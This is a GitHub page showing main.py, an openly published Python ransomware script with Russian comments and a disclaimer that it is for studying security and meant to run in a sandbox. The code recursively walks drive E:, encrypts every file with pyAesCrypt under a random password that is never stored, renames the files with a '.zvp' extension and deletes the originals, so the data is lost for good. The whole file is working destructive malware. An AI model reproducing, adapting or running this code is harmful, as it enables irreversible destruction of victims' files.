-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
69 lines (58 loc) · 2.57 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# projected by egoriwe999
# my telegram - https://t.me/egoriwe999
# my telegram channel - https://t.me/whitehacker999
# Данный вирус написан и опубликован с целью изучения компьютерной безопасности.
# Не запускать на своем устройсве , рекомендую запускать на виртуальной машине\песочнице
import random
import os
import threading
from multiprocessing import Process
import pyAesCrypt # Данный модуль необходимо скачать (pip3 install pyAesCrypt)
# Диски которые будут шифроваться , вы их можете зашифровать сколько угодно , искользуем dir_(Диск)
dir_e = 'E:/'
dir_f = 'F:/'
# Символы, цифры и буквы для ввода пароля
chars = '+-/*!@#$&=<>abcdifghijklmnopqrstuvwxyzABCDIFGHIJKLMNOPQRSTUVWXYZ1234567890'
# Генерируем наш пароль
def generate_pass():
password = 'egoriwe999'
for i in range(128):
password += random.choice(chars)
return password
# Теперь переходим к шифрованию
def crypt_file(file, password):
try:
bufferSize = 512 * 1024
pyAesCrypt.encryptFile(str(file), str(file) + ".zvp",
password, bufferSize)
os.remove(file)
except:
pass
# Проходимся по директориям дисков
def crypt_disk(dir, password):
try:
for file in os.listdir(dir):
if os.path.isdir(dir + '\\' + file):
crypt_disk(dir + '\\' + file, password)
if os.path.isfile(dir + '\\' + file):
try:
crypt_file(dir + '\\' + file, password)
except:
pass
except OSError:
pass
# Потоки
def crypting(dir, password):
pycrypt = threading.Thread(target=crypt_disk, args=(dir, password))
pycrypt.start()
# Используем процессы
def crypting(dir, password):
pycrypt = Process(target=crypt_disk, args=(dir, password))
pycrypt.start()
try:
crypting(dir_e, password=generate_pass())
#crypting(dir_f, password=generate_pass())
crypt_disk(dir_e, password=generate_pass()) # запускаем без потоков и процессов
#crypt_disk(dir_f, password=generate_pass()) # диски будут шифроваться по очереди
except Exception as e:
pass